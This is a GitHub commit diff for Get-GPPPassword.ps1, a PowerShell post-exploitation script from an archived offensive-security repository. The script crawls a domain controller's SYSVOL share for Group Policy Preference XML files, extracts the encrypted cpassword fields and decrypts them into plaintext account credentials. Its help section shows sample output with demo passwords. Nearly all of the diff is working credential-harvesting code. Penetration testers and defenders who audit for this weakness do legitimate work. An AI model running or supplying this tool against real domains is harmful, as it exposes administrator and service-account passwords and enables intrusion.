Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 24fc1b6

Browse files
author
mattifestation
committed
Major Revision of Get-GPPPasswords
Thanks @obscuresec!
1 parent 22f0c1b commit 24fc1b6

File tree

1 file changed

+141
-59
lines changed

1 file changed

+141
-59
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 141 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -9,14 +9,39 @@ function Get-GPPPassword {
99
License: BSD 3-Clause
1010
Required Dependencies: None
1111
Optional Dependencies: None
12+
Version: 2.3.0
1213
1314
.DESCRIPTION
1415
1516
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
1617
1718
.EXAMPLE
1819
19-
Get-GPPPassword
20+
PS C:\> Get-GPPPassword
21+
22+
Password : {password12}
23+
Changed : {2014-02-21 05:28:53}
24+
UserName : {test1}
25+
NewName : {}
26+
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources
27+
28+
Password : {Recycling*3ftw!, password123, password1234}
29+
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
30+
UserName : {Administrator (built-in), DummyAccount, dummy2}
31+
NewName : {mspresenters, $null, $null}
32+
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
33+
34+
Password : {password, password1234$}
35+
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
36+
UserName : {administrator, admin}
37+
NewName : {}
38+
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks
39+
40+
Password : {password, read123}
41+
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
42+
UserName : {DEMO\Administrator, admin}
43+
NewName : {}
44+
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services
2045
2146
.LINK
2247
@@ -31,14 +56,20 @@ function Get-GPPPassword {
3156

3257
#define helper function that decodes and decrypts password
3358
function Get-DecryptedCpassword {
59+
[CmdletBinding()]
3460
Param (
3561
[string] $Cpassword
3662
)
3763

3864
try {
3965
#Append appropriate padding based on string length
4066
$Mod = ($Cpassword.length % 4)
41-
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
67+
68+
switch ($Mod) {
69+
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
70+
'2' {$Cpassword += ('=' * (4 - $Mod))}
71+
'3' {$Cpassword += ('=' * (4 - $Mod))}
72+
}
4273

4374
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
4475

@@ -60,79 +91,130 @@ function Get-GPPPassword {
6091
catch {Write-Error $Error[0]}
6192
}
6293

63-
#ensure that machine is domain joined and script is running as a domain account
64-
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
65-
{
66-
throw 'Machine is not joined to a domain.'
67-
}
68-
69-
#discover potential files containing passwords ; not complaining in case of denied access to a directory
70-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
94+
#define helper function to parse fields from xml files
95+
function Get-GPPInnerFields {
96+
[CmdletBinding()]
97+
Param (
98+
$File
99+
)
71100

72-
if ( -not $XMlFiles )
73-
{
74-
throw 'No files containing encrypted passwords found.'
75-
}
76-
77-
foreach ($File in $XMLFiles) {
78-
79101
try {
80-
$Filename = $File.Name
81-
$Filepath = $File.VersionInfo.FileName
82-
83-
#put filename in $XmlFile
102+
103+
#$FileObject = Get-ChildItem $File
104+
$Filename = Split-Path $File -Leaf
105+
$Filepath = Split-Path $File -Parent
84106
[xml] $Xml = Get-Content ($File)
85107

86-
#declare blank variables
87-
$Cpassword = ''
88-
$UserName = ''
89-
$NewName = ''
90-
$Changed = ''
91-
$Password = ''
108+
#declare empty arrays
109+
$Cpassword = @()
110+
$UserName = @()
111+
$NewName = @()
112+
$Changed = @()
113+
$Password = @()
92114

93-
switch ($Filename) {
115+
#check for password field
116+
if ($Xml.innerxml -like "*cpassword*"){
117+
118+
Write-Verbose "Potential password in $File"
119+
120+
switch ($Filename) {
94121

95-
'Groups.xml' {
96-
$Cpassword = $Xml.Groups.User.Properties.cpassword
97-
$UserName = $Xml.Groups.User.Properties.userName
98-
$NewName = $Xml.Groups.User.Properties.newName
99-
$Changed = $Xml.Groups.User.changed
100-
}
122+
'Groups.xml' {
123+
$Count = $Xml.Groups.User.Count
124+
If (!($Count)) {$Count = 1}
125+
ForEach ($Number in 0..($Count - 1)){
126+
If ($Count -eq 1) {$Replace = 'User'} else {$Replace = "User[$Number]"}
127+
$Cpassword += , $Xml.Groups.User[$Number].Properties.cpassword
128+
$UserName += , $Xml.Groups.User[$Number].Properties.userName
129+
$NewName += , $Xml.Groups.User[$Number].Properties.newName
130+
$Changed += , $Xml.Groups.User[$Number].changed
131+
}
132+
}
101133

102-
'Services.xml' {
103-
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
104-
$UserName = $Xml.NTServices.NTService.Properties.accountName
105-
$Changed = $Xml.NTServices.NTService.changed
106-
}
134+
'Services.xml' {
135+
$Count = $Xml.NTServices.NTService.Count
136+
If (!($Count)) {$Count = 1}
137+
ForEach ($Number in 0..($Count - 1)){
138+
If ($Count -eq 1) {$Replace = 'NTService'} else {$Replace = "NTService[$Number]"}
139+
$Cpassword += , $Xml.NTServices.NTService[$Number].Properties.cpassword
140+
$UserName += , $Xml.NTServices.NTService[$Number].Properties.accountName
141+
$Changed += , $Xml.NTServices.NTService[$Number].changed
142+
}
143+
}
107144

108-
'Scheduledtasks.xml' {
109-
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
110-
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
111-
$Changed = $Xml.ScheduledTasks.Task.changed
112-
}
145+
'Scheduledtasks.xml' {
146+
$Count = $Xml.ScheduledTasks.Task.Count
147+
If (!($Count)) {$Count = 1}
148+
ForEach ($Number in 0..($Count - 1)){
149+
If ($Count -eq 1) {$Replace = 'Task'} else {$Replace = "Task[$Number]"}
150+
$Cpassword += , $Xml.ScheduledTasks.Task[$Number].Properties.cpassword
151+
$UserName += , $Xml.ScheduledTasks.Task[$Number].Properties.runAs
152+
$Changed += , $Xml.ScheduledTasks.Task[$Number].changed
153+
}
154+
}
113155

114-
'DataSources.xml' {
115-
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
116-
$UserName = $Xml.DataSources.DataSource.Properties.username
117-
$Changed = $Xml.DataSources.DataSource.changed
156+
'DataSources.xml' {
157+
$Count = $Xml.DataSources.DataSource.Count
158+
If (!($Count)) {$Count = 1}
159+
ForEach ($Number in 0..($Count - 1)){
160+
If ($Count -eq 1) {$Replace = 'DataSource'} else {$Replace = "DataSource[$Number]"}
161+
$Cpassword += , $Xml.DataSources.$Replace.Properties.cpassword
162+
$UserName += , $Xml.DataSources.$Replace.Properties.username
163+
$Changed += , $Xml.DataSources.$Replace.changed
164+
}
165+
}
118166
}
119167
}
120-
121-
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
122-
123-
else {Write-Verbose "No encrypted passwords found in $Filepath"}
124-
168+
169+
foreach ($Pass in $Cpassword) {
170+
Write-Verbose "Decrypting $Pass"
171+
$DecryptedPassword = Get-DecryptedCpassword $Pass
172+
Write-Verbose "Decrypted a password of $DecryptedPassword"
173+
#append any new passwords to array
174+
$Password += , $DecryptedPassword
175+
}
176+
125177
#Create custom object to output results
126-
$ObjectProperties = @{'Password' = $Password;
127-
'UserName' = $UserName;
178+
$ObjectProperties = @{'Passwords' = $Password;
179+
'UserNames' = $UserName;
128180
'Changed' = $Changed;
129-
'NewName' = $NewName
181+
'NewName' = $NewName;
130182
'File' = $Filepath}
131183

132184
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
133-
Write-Output $ResultsObject
185+
Write-Verbose "The password is between {} and may be more than one value."
186+
Return $ResultsObject
187+
188+
}
189+
190+
catch {Write-Error $Error[0]}
191+
192+
}
193+
194+
try {
195+
#ensure that machine is domain joined and script is running as a domain account
196+
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
197+
{
198+
throw 'Machine is not a domain member or User is not a member of the domain.'
199+
}
200+
201+
#discover potential files containing passwords ; not complaining in case of denied access to a directory
202+
Write-Verbose 'Searching the DC. This could take a while.'
203+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
204+
205+
if ( -not $XMlFiles )
206+
{
207+
throw 'No preference files found.'
134208
}
209+
210+
Write-Verbose "Found $($XMLFiles.Count) files that could contain passwords."
211+
212+
foreach ($File in $XMLFiles) {
135213

136-
catch {Write-Error $Error[0]}
214+
$Result = (Get-GppInnerFields $File.Fullname)
215+
Write-Output $Result
216+
}
137217
}
138-
}
218+
219+
catch {Write-Error $Error[0]}
220+
}

0 commit comments

Comments
 (0)